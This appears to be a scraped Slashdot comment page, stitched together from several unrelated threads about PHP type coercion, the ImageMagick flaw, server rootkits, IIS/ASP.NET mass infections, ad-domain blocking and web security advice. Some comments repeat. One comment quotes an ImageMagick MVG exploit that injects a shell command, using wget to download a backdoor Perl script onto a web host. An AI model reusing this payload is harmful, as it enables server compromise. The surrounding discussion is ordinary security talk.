Slashdot Mirror

Imagine the reputation hit that would ensue should Alphabet/Google get known for bringing about a massive malware attack because someone snuck something through.

Perhaps you might argue the meaning of "massive" but it has already happened and there was almost no reputation hit.

The flaw was specifically made possible by PHP's eagerness to convert malformed strings to best-guess integers instead of raising an error like any sane programming language. You didn't read TFA, did you?

Parent is mostly correct, except where he lumps together all "scripting" languages. This isn't a problem with "scripting" languages, it's a problem with languages like PHP that were designed by people who had no idea what they were doing. Worse, PHP is designed to be deployed in a way that encourages mistakes (PHP files directly in the webroot). PHP security is a game of whack-a-mole where if you forget to whack all the moles in one of your scripts, your site is toast. This wouldn't have happened with a sane scripting language, like Python.

Let's compare it with the scripting language that is every geek's favourite right now, shall we?

Javascript:
> parseInt('123test');
123

For some reason, nobody seems to care about JavaScript being full of WTFs; it's the cool language of the day, so we all gotta use it as much as possible. But PHP gets all the geeks up in arms, even though its issues are basically on the same scale.

But both PHP and JavaScript have seen major language overhauls in the last few years; most of the bad features of both have been deprecated. If you're still ranting about PHP it's probably because you haven't actually used it in years, or if you have done, you've been looking at stinking grotty code bases like WordPress. If that's you, do yourself a favour and go learn Joomla instead, because you'll get a completely different picture of PHP.

The flaw was specifically made possible by PHP's eagerness to convert malformed strings to best-guess integers instead of raising an error like any sane programming language. You didn't read TFA, did you?

Parent is mostly correct, except where he lumps together all "scripting" languages. This isn't a problem with "scripting" languages, it's a problem with languages like PHP that were designed by people who had no idea what they were doing. Worse, PHP is designed to be deployed in a way that encourages mistakes (PHP files directly in the webroot). PHP security is a game of whack-a-mole where if you forget to whack all the moles in one of your scripts, your site is toast. This wouldn't have happened with a sane scripting language, like Python.

$ php7.1 -r 'echo (int) "123test";'
123
$ python3.5 -c 'print(int("123test"))'
Traceback (most recent call last):
    File "", line 1, in
ValueError: invalid literal for int() with base 10: '123test'

It would be really handy to know what devices are actually at risk, so that people can tell if they need to take action. It sounds like whatever these devices are, they have somehow been exposed to the Internet (didn't we all disable UPNP years ago).

I haven't seen the source code yet, but here is an interesting article that discusses at least some of the participants.

We'll have to settle on merely being orders of magnitude more secure than Windows, which is the point of the comparison.

Is that actually true anymore?

I am absolutely the farthest thing from being a WIndows fanboi; but it has been QUITE a while since I heard of a new IIS exploit being discovered. In fact, the newest search result on Google for "IIS vulnerability" is from over a year ago.

That makes it sound like someone could put embed code into a PNG/JPG/SVG file or something like that. But skimming the linked articles, it looks more like ImageMagick has a server product with bad URL parsing.

From what I gathered you can put embed code into SVG/MVG files, because it lets those formats specify embedded images by default and doesn't sanity check the URL.

They give an MVG example for the exploit: image Over 0,0 1,1 'url(https:";wget "http://pastebin.com/raw/badpastebin" -O /home/vhosts/file/backdoor.pl")'

Google isn't reputable, they've served malware. They're right in line with option 2. And that's the reason why there's been such a surge in blocking all ads, because there generally is no clean source. The online ad industry has a serious problem, and they don't seem to want to fix it. If they did, they wouldn't be having such a problem with people blocking ads.

0.0.0.0 lemode-mgz.com
0.0.0.0 securevoluum.com
0.0.0.0 wan-tracker.com
0.0.0.0 consumernews247.com
0.0.0.0 hfrov.voluumtrk.com
0.0.0.0 voluumtrk.com
0.0.0.0 dwynne728us.wan-tracker.com
0.0.0.0 adwynne728us.wan-tracker.com
0.0.0.0 track.securevoluum.com

Per my subject above: Once they're blocked that way, no problem...

* DATA SOURCE -> http://blog.sucuri.net/2015/01...

APK

P.S.=> To get even more comprehensive security vs. threats like this & many others (as well as more speed from adbanner blocking + hardcoding favorite sites @ the TOP of hosts files, which also give you more reliability + safety vs. downed DNS, redirect poisoned DNS, & DNS amplification attacks)? This is the ticket to that:

APK Hosts File Engine 9.0++ 32/64-bit:

http://start64.com/index.php?o...

(Details of the above enumerated benefits are listed in the link page...)

Enjoy - it's 100% free, & NO OTHER SINGLE "so-called 'solution'" does more, with less!

The BEST in the security antimalware & antispyware business currently, http://www.av-test.org/en/news... per that VERY recent test's results, host & RECOMMEND my program for hosts -> http://hosts-file.net/?s=Downl...

... apk

How was the rootkit installed? Can you please elaborate on what security failures were involved?

Not sure if you are looking for how he did it, or indirectly doubting the story, but in case this is in doubt - there are plenty of Linux rootkits.

http://blog.sucuri.net/2013/02/linux-based-sshd-rootkit-floating-the-interwebs.html
http://www.securelist.com/en/blog/208193935/New_64_bit_Linux_Rootkit_Doing_iFrame_Injections
http://arstechnica.com/security/2012/11/new-linux-rootkit-exploits-web-servers-to-attack-visitors/
http://packetstormsecurity.com/UNIX/penetration/rootkits/
http://www.slideshare.net/AndrewCase/omfw-2012-analyzing-linux-kernel-rootkits-with-volatlity

list could go on for quite a while..

rpm -V httpd ?

Not that difficult to put in a cron job.

Cited FA:

In our previous posts, we recommended the utilization of tools like “rpm -Va” or “rpm -qf” or “dpkg -S” to see if the Apache modules were modified. However, those techniques won’t work against this backdoor. Since cPanel installs Apache inside /usr/local/apache and does not utilize the package managers, there is no single and simple command to detect if the Apache binary was modified.

Yeah, you'd be vulnerable if your apache installation is done using cpanel (as many hosting providers are).

I would bump Kali Linux as the true DIY solution.
-OR-
You could just leave it up to someone else and have someone to blame. These guys would make a good scapegoat:

http://sitecheck.sucuri.net/scanner/

I have actually used their scanner to find a backdoor in a common PHP script that shall remain nameless. They did report exactly where the vulnerable file was. After I deleted the file they told me the site was secure. Simple.

Not really DIY and I wouldn't trust anyone 100% but if you pay for a service you have done due diligence to CYA and you can just bill your customer.

They use Wordpress and got hacked with the Pharma Hack. I wrote to their webmaster and explained the problem and sent them some links. They have since upgraded their version of Wordpress and secured the site. But, they still have junk in their database that needs to be cleaned out. He told me that they are working to correct the problem.

InMotionHosting offers tons of disk space for a very low price.
I and other people who used to use them highly do not recommend them
Start with these : http://blog.sucuri.net/2011/09/mass-compromise-at-inmotionhosting-com.html
http://thehackernews.com/2011/09/inmotion-hosting-server-and-trinity-fm.html

They messed up the cleanup, damaging sites that had already cleaned up by themselves.

Last but not least: http://www.windows8update.com/2011/11/17/top-10-reasons-that-i-dont-use-inmotion-hosting-for-my-website-and-business/

Hmmm.

Experts say that the bug, which will be discussed in detail at the Ekoparty conference in Argentina this week, affects millions of Web applications.

For some reasons I trust the experts. Is there a reason why this kind of attacks are only done on IIS/ASP.NET? Some time ago there was another exploit According to Google over *114.000 different pages have been infected.

Is there a reason why I never read anything about Apache or the other webservers and languages/frameworks?

Here are a few pointers, mostly around PHP web app security:

- http://www.owasp.org/ - the Open Web Application Security Project has a comprehensive list of things to cover - see their http://www.owasp.org/index.php/PHP_Top_5 (top 5 PHP issues) in particular

- http://www.sitepoint.com/article/php-security-blunders/ Top 7 PHP security blunders - use =htmlspecialchars= for output of variables to page and do MySQL string escaping

- http://www.phpbuilder.com/columns/ian_gilfillan20050707.php3 - ensure include files can't be reached directly from HTTP.

- http://it.slashdot.org/comments.pl?sid=1121901&cid=26797895 - use http://us2.php.net/manual/en/function.filter-var.php -PHP Filter features]] (only in PHP 5.2.0 onwards)

- http://sucuri.net/ - monitors your site for free to detect compromises that affect readable pages

Final point: don't "filter out" dangerous characters, this is never ending and can never be done - instead, for any given parameter or input field, define the valid characters (e.g. alphanumeric, date, etc) and specifically allow ONLY those characters. This 'filtering in' approach is far safer.

It sounds as if this could just as easily happen to a LAMP server if the same shoddy code were inserted into a Linux/Apache/MySQL/PHP stack. But why hasn't it happened?

What are you talking about? SQL injection happens on LAMP stacks all the time. PHP programmers are just as bad at sanitizing input as ASP programmers. This specific exploit uses ASP.NET which is why it doesn't directly affect LAMP.

... and without specific details, I have no way to know if the scripting language itself was compromised or of it is the script itself that enabled this.

There are specific details. I've never even heard of an entire scripting language being compromized. Obviously an SQL injection would occur because of a script not sanitizing inputs properly.

What do I mean by that? "Visual X programming" and other RAD tools are designed to get code written and published as quickly as possible. What is the problem with that? I gotta say, if code is to be generated quickly, it will likely receive less QA review... if any at all.

Code generation and QA review have no relation. Just because I can generate code fast doesn't mean people won't take the same amount of time checking it for problems.

PHP and many other languages that are typically used in LAMP stacks are edited with a text editor most of the time. Fancy IDEs exist but many people prefer the text editor. It's fast and simple. Hard to beat fast and simple... and programming with clippy at your side is nothing that any coder I know would be interested in.

Any real programmer would understand the advantages of an IDE over a text editor. It's much faster and simpler when the IDE can autocomplete things for you or display their syntax details inline. It also increases code accuracy and organization. Clippy hasn't been around since Office 2000 and was never in Visual Studio so you'll be ok.

But then it got worse when advanced processors emerged... you know, those i386 processors? They were DESIGNED to make virtual machines. What happened? You know what happened. We could have been using some awesome virtualization technologies decades before now and a lot easier than now.

i386 had nothing to do with making virtual machines at all except for Virtual 8086 mode which only virtualizes 16-bit real mode processes in 32-bit protected mode. Virtualizing the 32-bit end of the i386 is a whole different thing altogether. Virtual Device Drivers were made to help transition from MS-DOS to 32-bit Windows and were a terrible idea which never helped virtualization at all.

It happened again since the 8th: http://blog.sucuri.net/2010/06/mass-infection-of-iisasp-sites-2677-inyahoo-js.html

The best idea is to monitor your DNS, Whois (and sites for changes). Good tool to do that: http://sucuri.net/